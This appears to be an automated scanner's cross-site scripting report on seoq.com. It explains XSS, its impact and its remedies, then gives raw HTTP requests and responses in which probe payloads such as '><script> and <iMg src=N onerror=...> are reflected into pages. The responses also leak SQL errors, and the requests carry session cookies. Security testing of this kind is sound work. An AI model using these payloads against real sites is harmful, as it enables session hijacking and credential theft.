XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
GET /quotient/2011/04/22/'%3E%3Cscript%3Enetsparker(9)%3C/script%3E HTTP/1.1 Referer: http://www.seoq.com/quotient/2011/04/22/1798/members.multimania.co.uk/zicacan User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.seoq.com Cookie: CAKEPHP=depb5rrurbed9dcocjraci6ot1; PHPSESSID=81vpd80f1tet77i3g4sh4nom04; CAKEPHP=utgikqr0rjtn0dnlkgmg8bu0a3 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Mon, 02 May 2011 02:14:37 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Keep-Alive: timeout=15, max=58 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
<pre class="cake-debug"><a href='javascript:void(0);' onclick='document.getElementById("CakeStackTrace1").style.display = (document.getElementById("CakeStackTrace1").style.display == "none" ? "" : "none")'><b>Warning</b> (512)</a>: <span style = "color:Red;text-align:left"><b>SQL Error:</b> 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' ORDER BY `report_date` DESC LIMIT 2' at line 1</span> [<b>CORE/cake/libs/model/datasources/dbo_source.php</b>, line <b>526</b>]</pre><div id="CakeStackTrace1" class="cake-stack-trace" style="display: none;"><a href='javascript:void(0);' onclick='document.getElementById("CakeErrorCode1").style.display = (document.getElementById("CakeErrorCode1").style.display == "none" ? "" : "none")'>Code</a> | <a href='javascript:void(0);' onclick='document.getElementById("CakeErrorContext1").style.display = (document.getElementById("CakeErrorContext1").style.display == "none" ? "" : "none")'>Context</a><pre id="CakeErrorContext1" class="cake-context" style="display: none;">$sql = "SELECT `Webanalytic`.`id`, `Webanalytic`.`report_date` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id < '><script>netsparker(9)< and site_url LIKE 'script>' ORDER BY `report_date` DESC LIMIT 2"$error = "1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' ORDER BY `report_date` DESC LIMIT 2' at line 1"$out = null</pre><div id="CakeErrorCode1" class="cake-code-dump" style="display: none;"><pre><code><span style="color: #000000"> $out = null; </span></code><code><span style="color: #000000"> if ($error) { </span></code><span class="code-highlight"><code><span style="color: #000000"> trigger_error("<span style = \"color:Red;text-align:left\"><b>SQL Error:</b> {$this->error}</span>", E_USER_WARNING); </span></code></span></pre></div><pre>DboSource::showQuery() - CORE/cake/libs/model/datasources/dbo_source.php, line 526DboSource::execute() - CORE/cake/libs/model/datasources/dbo_source.php, line 202DboSource::fetchAll() - CORE/cake/libs/model/datasources/dbo_source.php, line 337DboSource::read() - CORE/cake/libs/model/datasources/dbo_source.php, line 654Model::find() - CORE/cake/libs/model/model.php, line 2037WebanalyticsController::view() - APP/controllers/webanalytics_controller.php, line 139Object::dispatchMethod() - CORE/cake/libs/object.php, line 125Dispatcher::_invoke() - CORE/cake/dispatcher.php, line 226Dispatcher::dispatch() - CORE/cake/dispatcher.php, line 193[main] - APP/webroot/index.php, line 88</pre></div><pre><p style = "text-align:left"><b>Query:</b> SELECT `Webanalytic`.`id`, `Webanalytic`.`report_date` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id < '><script>netsparker(9)< and site_url LIKE 'script>' ORDER BY `report_date` DESC LIMIT 2 </p></pre><pre class="cake-debug"><a href='javascript:void(0);' onclick='document.getElementById("CakeStackTrace2").style.display = (document.getElementById("CakeStackTrace2").style.display == "none" ? "" : "none")'><b>Warning</b> (512)</a>: <span style = "color:Red;text-align:left"><b>SQL Error:</b> 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' and report_date LIKE '2011-04-22%' LIMIT ' at line 1</span> [<b>CORE/cake/libs/model/datasources/dbo_source.php</b>, line <b>526</b>]</pre><div id="CakeStackTrace2" class="cake-stack-trace" style="display: none;"><a href='javascript:void(0);' onclick='document.getElementById("CakeErrorCode2").style.display = (document.getElementById("CakeErrorCode2").style.display == "none" ? "" : "none")'>Code</a> | <a href='javascript:void(0);' onclick='document.getElementById("CakeErrorContext2").style.display = (document.getElementById("CakeErrorContext2").style.display == "none" ? "" : "none")'>Context</a><pre id="CakeErrorContext2" class="cake-context" style="display: none;">$sql = "SELECT `Webanalytic`.`id`, `Webanalytic`.`id_user`, `Webanalytic`.`site_url`, `Webanalytic`.`keywords`, `Webanalytic`.`report_date`, `Webanalytic`.`ip_connection`, `Webanalytic`.`version`, `Webanalytic`.`html`, `Webanalytic`.`content_type`, `Webanalytic`.`http_code`, `Webanalytic`.`http_error_num`, `Webanalytic`.`http_error_msg` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id = '><script>netsparker(9)< and site_url LIKE 'script>' and report_date LIKE '2011-04-22%' LIMIT 1"$error = "1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' and report_date LIKE '2011-04-22%' LIMIT ' at line 1"$out = null</pre><div id="CakeErrorCode2" class="cake-code-dump" style="display: none;"><pre><code><span style="color: #000000"> $out = null; </span></code><code><span style="color: #000000"> if ($error) { </span></code><span class="code-highlight"><code><span style="color: #000000"> trigger_error("<span style = \"color:Red;text-align:left\"><b>SQL Error:</b> {$this->error}</span>", E_USER_WARNING); </span></code></span></pre></div><pre>DboSource::showQuery() - CORE/cake/libs/model/datasources/dbo_source.php, line 526DboSource::execute() - CORE/cake/libs/model/datasources/dbo_source.php, line 202DboSource::fetchAll() - CORE/cake/libs/model/datasources/dbo_source.php, line 337DboSource::read() - CORE/cake/libs/model/datasources/dbo_source.php, line 654Model::find() - CORE/cake/libs/model/model.php, line 2037WebanalyticsController::view() - APP/controllers/webanalytics_controller.php, line 143Object::dispatchMethod() - CORE/cake/libs/object.php, line 125Dispatcher::_invoke() - CORE/cake/dispatcher.php, line 226Dispatcher::dispatch() - CORE/cake/dispatcher.php, line 193[main] - APP/webroot/index.php, line 88</pre></div><pre><p style = "text-align:left"><b>Query:</b> SELECT `Webanalytic`.`id`, `Webanalytic`.`id_user`, `Webanalytic`.`site_url`, `Webanalytic`.`keywords`, `Webanalytic`.`report_date`, `Webanalytic`.`ip_connection`, `Webanalytic`.`version`, `Webanalytic`.`html`, `Webanalytic`.`content_type`, `Webanalytic`.`http_code`, `Webanalytic`.`http_error_num`, `Webanalytic`.`http_error_msg` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id = '><script>netsparker(9)< and site_url LIKE 'script>' and report_date LIKE '2011-04-22%' LIMIT 1 </p></pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
GET /quotient/2011/05/01/'%3E%3Cscript%3Enetsparker(9)%3C/script%3E HTTP/1.1 Referer: http://www.seoq.com/quotient/2011/05/01/2841/www.diabeticinsiders.com User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.seoq.com Cookie: CAKEPHP=depb5rrurbed9dcocjraci6ot1; PHPSESSID=81vpd80f1tet77i3g4sh4nom04; CAKEPHP=utgikqr0rjtn0dnlkgmg8bu0a3 Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Mon, 02 May 2011 02:14:59 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Keep-Alive: timeout=15, max=3 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
<pre class="cake-debug"><a href='javascript:void(0);' onclick='document.getElementById("CakeStackTrace1").style.display = (document.getElementById("CakeStackTrace1").style.display == "none" ? "" : "none")'><b>Warning</b> (512)</a>: <span style = "color:Red;text-align:left"><b>SQL Error:</b> 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' ORDER BY `report_date` DESC LIMIT 2' at line 1</span> [<b>CORE/cake/libs/model/datasources/dbo_source.php</b>, line <b>526</b>]</pre><div id="CakeStackTrace1" class="cake-stack-trace" style="display: none;"><a href='javascript:void(0);' onclick='document.getElementById("CakeErrorCode1").style.display = (document.getElementById("CakeErrorCode1").style.display == "none" ? "" : "none")'>Code</a> | <a href='javascript:void(0);' onclick='document.getElementById("CakeErrorContext1").style.display = (document.getElementById("CakeErrorContext1").style.display == "none" ? "" : "none")'>Context</a><pre id="CakeErrorContext1" class="cake-context" style="display: none;">$sql = "SELECT `Webanalytic`.`id`, `Webanalytic`.`report_date` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id < '><script>netsparker(9)< and site_url LIKE 'script>' ORDER BY `report_date` DESC LIMIT 2"$error = "1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' ORDER BY `report_date` DESC LIMIT 2' at line 1"$out = null</pre><div id="CakeErrorCode1" class="cake-code-dump" style="display: none;"><pre><code><span style="color: #000000"> $out = null; </span></code><code><span style="color: #000000"> if ($error) { </span></code><span class="code-highlight"><code><span style="color: #000000"> trigger_error("<span style = \"color:Red;text-align:left\"><b>SQL Error:</b> {$this->error}</span>", E_USER_WARNING); </span></code></span></pre></div><pre>DboSource::showQuery() - CORE/cake/libs/model/datasources/dbo_source.php, line 526DboSource::execute() - CORE/cake/libs/model/datasources/dbo_source.php, line 202DboSource::fetchAll() - CORE/cake/libs/model/datasources/dbo_source.php, line 337DboSource::read() - CORE/cake/libs/model/datasources/dbo_source.php, line 654Model::find() - CORE/cake/libs/model/model.php, line 2037WebanalyticsController::view() - APP/controllers/webanalytics_controller.php, line 139Object::dispatchMethod() - CORE/cake/libs/object.php, line 125Dispatcher::_invoke() - CORE/cake/dispatcher.php, line 226Dispatcher::dispatch() - CORE/cake/dispatcher.php, line 193[main] - APP/webroot/index.php, line 88</pre></div><pre><p style = "text-align:left"><b>Query:</b> SELECT `Webanalytic`.`id`, `Webanalytic`.`report_date` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id < '><script>netsparker(9)< and site_url LIKE 'script>' ORDER BY `report_date` DESC LIMIT 2 </p></pre><pre class="cake-debug"><a href='javascript:void(0);' onclick='document.getElementById("CakeStackTrace2").style.display = (document.getElementById("CakeStackTrace2").style.display == "none" ? "" : "none")'><b>Warning</b> (512)</a>: <span style = "color:Red;text-align:left"><b>SQL Error:</b> 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' and report_date LIKE '2011-05-01%' LIMIT ' at line 1</span> [<b>CORE/cake/libs/model/datasources/dbo_source.php</b>, line <b>526</b>]</pre><div id="CakeStackTrace2" class="cake-stack-trace" style="display: none;"><a href='javascript:void(0);' onclick='document.getElementById("CakeErrorCode2").style.display = (document.getElementById("CakeErrorCode2").style.display == "none" ? "" : "none")'>Code</a> | <a href='javascript:void(0);' onclick='document.getElementById("CakeErrorContext2").style.display = (document.getElementById("CakeErrorContext2").style.display == "none" ? "" : "none")'>Context</a><pre id="CakeErrorContext2" class="cake-context" style="display: none;">$sql = "SELECT `Webanalytic`.`id`, `Webanalytic`.`id_user`, `Webanalytic`.`site_url`, `Webanalytic`.`keywords`, `Webanalytic`.`report_date`, `Webanalytic`.`ip_connection`, `Webanalytic`.`version`, `Webanalytic`.`html`, `Webanalytic`.`content_type`, `Webanalytic`.`http_code`, `Webanalytic`.`http_error_num`, `Webanalytic`.`http_error_msg` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id = '><script>netsparker(9)< and site_url LIKE 'script>' and report_date LIKE '2011-05-01%' LIMIT 1"$error = "1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'script>' and report_date LIKE '2011-05-01%' LIMIT ' at line 1"$out = null</pre><div id="CakeErrorCode2" class="cake-code-dump" style="display: none;"><pre><code><span style="color: #000000"> $out = null; </span></code><code><span style="color: #000000"> if ($error) { </span></code><span class="code-highlight"><code><span style="color: #000000"> trigger_error("<span style = \"color:Red;text-align:left\"><b>SQL Error:</b> {$this->error}</span>", E_USER_WARNING); </span></code></span></pre></div><pre>DboSource::showQuery() - CORE/cake/libs/model/datasources/dbo_source.php, line 526DboSource::execute() - CORE/cake/libs/model/datasources/dbo_source.php, line 202DboSource::fetchAll() - CORE/cake/libs/model/datasources/dbo_source.php, line 337DboSource::read() - CORE/cake/libs/model/datasources/dbo_source.php, line 654Model::find() - CORE/cake/libs/model/model.php, line 2037WebanalyticsController::view() - APP/controllers/webanalytics_controller.php, line 143Object::dispatchMethod() - CORE/cake/libs/object.php, line 125Dispatcher::_invoke() - CORE/cake/dispatcher.php, line 226Dispatcher::dispatch() - CORE/cake/dispatcher.php, line 193[main] - APP/webroot/index.php, line 88</pre></div><pre><p style = "text-align:left"><b>Query:</b> SELECT `Webanalytic`.`id`, `Webanalytic`.`id_user`, `Webanalytic`.`site_url`, `Webanalytic`.`keywords`, `Webanalytic`.`report_date`, `Webanalytic`.`ip_connection`, `Webanalytic`.`version`, `Webanalytic`.`html`, `Webanalytic`.`content_type`, `Webanalytic`.`http_code`, `Webanalytic`.`http_error_num`, `Webanalytic`.`http_error_msg` FROM `seoq_webanalytics` AS `Webanalytic` WHERE id = '><script>netsparker(9)< and site_url LIKE 'script>' and report_date LIKE '2011-05-01%' LIMIT 1 </p></pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<script type="text/javascript">function fbs_click() {u=location.href;t=document.title;window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;}</script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide-full.min.js"></script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide.config.js" charset="utf-8"></script><link rel="stylesheet" type="text/css" href="http://www.highcharts.com/highslide/highslide.css" /><script type="text/javascript"> $(function() { $("#tabs").tabs(); }); function fbs_click() {u='http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>';t='facebook_status';window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;} $(function() { $(".report").hide(); $("#highLevelReport").hide(); $("#reportDoesNotExist").show(); }); </script><!-- <div id="tabs"> --> <div id="reportDoesNotExist" class="ui-tabs-panel"> <div class="share-buttons"> <p></p> <div class="share"></div> </div> <div class="clear"></div> <div id="entry-summary"> <p><strong>Report not found</strong> Please check the URL.<br /><br /> URL for this report:<a href="http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>ddd</a> </p> </div> </div> <div id="entry-summary"> <p>SEO Quotient™ website analysis of: <strong></strong><br /> URL for this report: <a href="http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)></a></p> <p>This URL has been analyzed: 0 times </p> </div><!-- **************************************************** Hidden details **************************************************** --><div class="report"><!-- **************************************************** highLevel Report **************************************************** --> <div id="highLevelReport"> <div class="info-1"> <div class="grid-1"> <h3>Crawlability </h3> <div id="chart_crawlability">Crawlability Score</div> <br /> <h4>Section 1: Crawlability</h4> <p>Crawlability is how easy it is for search engine spiders and robots to get inside your website ... scan the words, photos and videos and index that information in its archives...</p> <ul><li><a href="#crawlabilityDetail">(See Crawlability details)</a></li></ul> </div> <div class="grid-1"> <h3>Credibility </h3> <div id="chart_credibility">Credibility Score</div> <br /> <h4>Section 2: Credibility</h4> <p>Credibility has a lot to do with what other people, bloggers and webmasters have to say about you. For example, the more references or citations to your website, the more credibility you have...</p> <ul><li><a href="#credibilityDetail">(See Credibility details)</a></li></ul> </div> <div class="grid-1 alpha"> <h3>Code </h3> <div id="chart_code">Code Score</div> <br /> <h4>Section 3: Code</h4> <p>Code refers to the extra emphasis you place on Content behind the scene. It involves meta tags, title tags, headings, hyperlinks, bullet lists and other techniques to bring more attention to specific words...</p> <ul><li><a href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; margin: 0 auto"></div></td> <td><div id="doublePhrase_graph" style="width: 400px; height: 200px; margin: 0 auto"></div></td> </tr> </table> <ul><li><a href="#contentDetail">(See Content details)</a></li></ul> </div> <div class="clear"></div> </div><script type="text/javascript"> var chart_crawlability = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_crawlability.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Crawlability/14"); chart_crawlability.render("chart_crawlability"); var chart_credibility = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_credibility.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Credibility/5"); chart_credibility.render("chart_credibility"); var chart_code = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_code.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Code/6"); chart_code.render("chart_code");</script><!-- **************************************************** end highLevel Report **************************************************** --> <a name="crawlabilityDetail"></a><h2>Crawlability</h2> <div id="crawlabilityDetail"> <div class="share-buttons"> <p>Share this report on:</p> <div class="share"> <ul> <li><a onclick="return fbs_click()" title="facebook share" href="http://www.facebook.com/share.php?u=<url>" target="_blank"> <img src="http://www.seoq.com/quotient/img/facebook.jpg" width="28" height="28" alt="Share on Facebook" /></a> </li> <li><a href="http://twitter.com/home?status=Check my SEO at - http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>" target="_blank" title="twitter share" > <img src="http://www.seoq.com/quotient/img/twitter.jpg" width="28" height="28" alt="Share on twitter" /></a> </li> <li><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F04%2F22%2F1798%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=SEO+Quotient%EF%BF%BD+Diagnostic+Report&summary=&source=seoq.com" target="_blank" title="linkedin share"> <img src="http://www.seoq.com/quotient/img/linkedin.jpg" width="28" height="28" alt="Share on LinkedIn" /></a> </li> <li><a href="http://digg.com/submit?phase=2&url=http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>&title=SEO Quotient� Diagnostic Report&bodytext=" target="_blank" title="digg share"> <img src="http://www.seoq.com/quotient/img/digg.jpg" width="28" height="28" alt="Share on Digg" /></a> </li> <li><a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F04%2F22%2F1798%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=stumbleupon_title" target="_blank" title="stumbleupon share"> <img src="http://www.seoq.com/quotient/img/stumbleupon.jpg" width="27" height="28" alt="Share on StumbleUpon" /></a> </li> <li><a href="http://technorati.com/faves?add=http://www.seoq.com/quotient/2011/04/22/1798/><iMg src=N onerror=netsparker(9)>" target="_blank" title="technorati share"> ..
<script type="text/javascript">function fbs_click() {u=location.href;t=document.title;window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;}</script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide-full.min.js"></script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide.config.js" charset="utf-8"></script><link rel="stylesheet" type="text/css" href="http://www.highcharts.com/highslide/highslide.css" /><script type="text/javascript"> $(function() { $("#tabs").tabs(); }); function fbs_click() {u='http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>';t='facebook_status';window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;} $(function() { $(".report").hide(); $("#highLevelReport").hide(); $("#reportDoesNotExist").show(); }); </script><!-- <div id="tabs"> --> <div id="reportDoesNotExist" class="ui-tabs-panel"> <div class="share-buttons"> <p></p> <div class="share"></div> </div> <div class="clear"></div> <div id="entry-summary"> <p><strong>Report not found</strong> Please check the URL.<br /><br /> URL for this report:<a href="http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>ddd</a> </p> </div> </div> <div id="entry-summary"> <p>SEO Quotient™ website analysis of: <strong></strong><br /> URL for this report: <a href="http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)></a></p> <p>This URL has been analyzed: 0 times </p> </div><!-- **************************************************** Hidden details **************************************************** --><div class="report"><!-- **************************************************** highLevel Report **************************************************** --> <div id="highLevelReport"> <div class="info-1"> <div class="grid-1"> <h3>Crawlability </h3> <div id="chart_crawlability">Crawlability Score</div> <br /> <h4>Section 1: Crawlability</h4> <p>Crawlability is how easy it is for search engine spiders and robots to get inside your website ... scan the words, photos and videos and index that information in its archives...</p> <ul><li><a href="#crawlabilityDetail">(See Crawlability details)</a></li></ul> </div> <div class="grid-1"> <h3>Credibility </h3> <div id="chart_credibility">Credibility Score</div> <br /> <h4>Section 2: Credibility</h4> <p>Credibility has a lot to do with what other people, bloggers and webmasters have to say about you. For example, the more references or citations to your website, the more credibility you have...</p> <ul><li><a href="#credibilityDetail">(See Credibility details)</a></li></ul> </div> <div class="grid-1 alpha"> <h3>Code </h3> <div id="chart_code">Code Score</div> <br /> <h4>Section 3: Code</h4> <p>Code refers to the extra emphasis you place on Content behind the scene. It involves meta tags, title tags, headings, hyperlinks, bullet lists and other techniques to bring more attention to specific words...</p> <ul><li><a href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; margin: 0 auto"></div></td> <td><div id="doublePhrase_graph" style="width: 400px; height: 200px; margin: 0 auto"></div></td> </tr> </table> <ul><li><a href="#contentDetail">(See Content details)</a></li></ul> </div> <div class="clear"></div> </div><script type="text/javascript"> var chart_crawlability = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_crawlability.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Crawlability/14"); chart_crawlability.render("chart_crawlability"); var chart_credibility = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_credibility.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Credibility/5"); chart_credibility.render("chart_credibility"); var chart_code = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_code.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Code/6"); chart_code.render("chart_code");</script><!-- **************************************************** end highLevel Report **************************************************** --> <a name="crawlabilityDetail"></a><h2>Crawlability</h2> <div id="crawlabilityDetail"> <div class="share-buttons"> <p>Share this report on:</p> <div class="share"> <ul> <li><a onclick="return fbs_click()" title="facebook share" href="http://www.facebook.com/share.php?u=<url>" target="_blank"> <img src="http://www.seoq.com/quotient/img/facebook.jpg" width="28" height="28" alt="Share on Facebook" /></a> </li> <li><a href="http://twitter.com/home?status=Check my SEO at - http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>" target="_blank" title="twitter share" > <img src="http://www.seoq.com/quotient/img/twitter.jpg" width="28" height="28" alt="Share on twitter" /></a> </li> <li><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F04%2F22%2F2272%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=SEO+Quotient%EF%BF%BD+Diagnostic+Report&summary=&source=seoq.com" target="_blank" title="linkedin share"> <img src="http://www.seoq.com/quotient/img/linkedin.jpg" width="28" height="28" alt="Share on LinkedIn" /></a> </li> <li><a href="http://digg.com/submit?phase=2&url=http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>&title=SEO Quotient� Diagnostic Report&bodytext=" target="_blank" title="digg share"> <img src="http://www.seoq.com/quotient/img/digg.jpg" width="28" height="28" alt="Share on Digg" /></a> </li> <li><a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F04%2F22%2F2272%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=stumbleupon_title" target="_blank" title="stumbleupon share"> <img src="http://www.seoq.com/quotient/img/stumbleupon.jpg" width="27" height="28" alt="Share on StumbleUpon" /></a> </li> <li><a href="http://technorati.com/faves?add=http://www.seoq.com/quotient/2011/04/22/2272/><iMg src=N onerror=netsparker(9)>" target="_blank" title="technorati share"> ..
<script type="text/javascript">function fbs_click() {u=location.href;t=document.title;window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;}</script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide-full.min.js"></script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide.config.js" charset="utf-8"></script><link rel="stylesheet" type="text/css" href="http://www.highcharts.com/highslide/highslide.css" /><script type="text/javascript"> $(function() { $("#tabs").tabs(); }); function fbs_click() {u='http://www.seoq.com/quotient/2011/04/22/1797/><iMg src=N onerror=netsparker(9)>';t='facebook_status';window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;} $(function() { $(".report").hide(); $("#highLevelReport").hide(); $("#reportDoesNotExist").show(); }); </script><!-- <div id="tabs"> --> <div id="reportDoesNotExist" class="ui-tabs-panel"> <div class="share-buttons"> <p></p> <div class="share"></div> </div> <div class="clear"></div> <div id="entry-summary"> <p><strong>Report not found</strong> Please check the URL.<br /><br /> URL for this report:<a href="http://www.seoq.com/quotient/2011/04/22/1797/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/1797/><iMg src=N onerror=netsparker(9)>ddd</a> </p> </div> </div> <div id="entry-summary"> <p>SEO Quotient™ website analysis of: <strong></strong><br /> URL for this report: <a href="http://www.seoq.com/quotient/2011/04/22/1797/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/04/22/1797/><iMg src=N onerror=netsparker(9)></a></p> <p>This URL has been analyzed: 0 times </p> </div><!-- **************************************************** Hidden details **************************************************** --><div class="report"><!-- **************************************************** highLevel Report **************************************************** --> <div id="highLevelReport"> <div class="info-1"> <div class="grid-1"> <h3>Crawlability </h3> <div id="chart_crawlability">Crawlability Score</div> <br /> <h4>Section 1: Crawlability</h4> <p>Crawlability is how easy it is for search engine spiders and robots to get inside your website ... scan the words, photos and videos and index that information in its archives...</p> <ul><li><a href="#crawlabilityDetail">(See Crawlability details)</a></li></ul> </div> <div class="grid-1"> <h3>Credibility </h3> <div id="chart_credibility">Credibility Score</div> <br /> <h4>Section 2: Credibility</h4> <p>Credibility has a lot to do with what other people, bloggers and webmasters have to say about you. For example, the more references or citations to your website, the more credibility you have...</p> <ul><li><a href="#credibilityDetail">(See Credibility details)</a></li></ul> </div> <div class="grid-1 alpha"> <h3>Code </h3> <div id="chart_code">Code Score</div> <br /> <h4>Section 3: Code</h4> <p>Code refers to the extra emphasis you place on Content behind the scene. It involves meta tags, title tags, headings, hyperlinks, bullet lists and other techniques to bring more attention to specific words...</p> <ul><li><a href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; 